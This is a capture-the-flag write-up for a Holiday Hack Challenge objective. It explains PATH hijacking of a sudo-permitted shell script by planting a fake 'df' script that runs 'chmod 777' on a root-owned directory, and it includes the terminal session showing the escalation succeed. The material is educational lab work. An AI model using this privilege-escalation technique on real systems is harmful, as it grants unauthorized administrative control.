

Objective “Neighborhood Watch Bypass”



Task and Solution

The task is learn about safe implementation of shell skripts.

If an attacker is able to control the \$PATH, which is used in a shell skript he can overwrite the binaries in the original shell skript and can leverage the sudo mechanism to execute commands as a privileged account.

‘sudo -l’ also gives as a clue of what commands we are allowed to execute.

The terminal window displays a simulated fire alarm system interface with a header: "DOSIS NEIGHBORHOOD FIRE ALARM SYSTEM - LOCKOUT MODE". Below it, a message states: "EMERGENCY ALERT: Fire alarm system admin access has been compromised! 🚨 The fire safety systems are experiencing interference and admin privileges have been mysteriously revoked. The neighborhood's fire protection infrastructure is at risk!". A warning section says: "CURRENT STATUS: Limited to standard user access only 🔞 FIRE SAFETY SYSTEMS: Partially operational but restricted 🚧 MISSION CRITICAL: Restore full fire alarm system control". A mission brief follows: "Your mission: Find a way to bypass the current restrictions and elevate to fire safety admin privileges. Once you regain full access, run the special command '/etc/firealarm/restore_fire_alarm' to restore complete fire alarm system control and protect the Dosis neighborhood from potential emergencies." The prompt shows the user is in a directory named "Dosis Neighborhood" and is ready to enter a command.

we simple create a new implementation of the “df” as a shell skript and will execute a “chmod 777” on the files, we would like to manipulate

```

drwxr-x--- 1 chiuser chiuser 4096 Jan 5 10:57 /
-rwxr-xr-x 1 chiuser chiuser 37 Jan 5 10:57 df*
lrwxrwxrwx 1 root root 33 Oct 8 14:08 runtoanswer -> /etc/firealarm/restore_fire_alarm
chiuser @ Dosis Neighborhood ~$ ./df
chmod: changing permissions of '/etc/firealarm': Operation not permitted
chiuser @ Dosis Neighborhood ~$ cd ..
chiuser @ Dosis Neighborhood ~$ echo SPATH
/home/chiuser/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
chiuser @ Dosis Neighborhood ~$ sudo /usr/local/bin/system_status.sh
== Dosis Neighborhood Fire Alarm System Status ==
Fire alarm system monitoring active...
System resources (for alarm monitoring):
total used free shared buff/cache available
Mem: 31Gi 1.0Gi 25Gi 1.0Mi 5.2Gi 29Gi
Swap: 0B 0B 0B
Disk usage (alarm logs and recordings):
Active fire department connections:
10:58:00 up 7 days, 6:46, 0 users, load average: 0.01, 0.02, 0.00
USER TTY FROM LOGIN# IDLE JCPU PCPU WHAT
Fire alarm monitoring processes:
root 48 0.0 0.0 3472 1628 pts/1 S+ 10:58 0:00 grep -E (alarm|fire|monitor|safety)
🔥 Fire Safety Status: All systems operational
🔥 Emergency Response: Ready
📍 Coverage Area: Dosis Neighborhood (all sectors)
chiuser @ Dosis Neighborhood ~$ ls -la /etc/firealarm/
total 6036
drwxrwxrwx 1 root root 4096 Oct 8 14:08 .
drwxr-xr-x 1 root root 4096 Jan 5 10:32 ..
-rwxr-xr-x 1 root root 6157688 Oct 8 14:08 restore_fire_alarm
chiuser @ Dosis Neighborhood ~$ ./etc/firealarm/restore_fire_alarm
🔥 FIRE ALARM SYSTEM: Attaching to restore admin privileges...
🔥 BYPASSING SECURITY RESTRICTIONS...
➡ Connecting to fire safety control center: https://2025.holidayhackchallenge.com:443/turnstile?rid=474b4f4e-720c-4b53-8166-59b3ddc28fd
➡ SUCCESS! Fire alarm system admin access RESTORED!
➡ DOSIS NEIGHBORHOOD FIRE PROTECTION: FULLY OPERATIONAL
➡ All fire safety systems are now under proper administrative control
🔥 Emergency response capabilities: ACTIVE
🔥 Neighborhood fire protection: SECURED
=====
CONGRATULATIONS! You've successfully restored fire alarm system
administrative control and protected the Dosis neighborhood!
=====
🔥 FIRE ALARM SYSTEM RESTORATION COMPLETE 🔥
chiuser @ Dosis Neighborhood ~$ 

```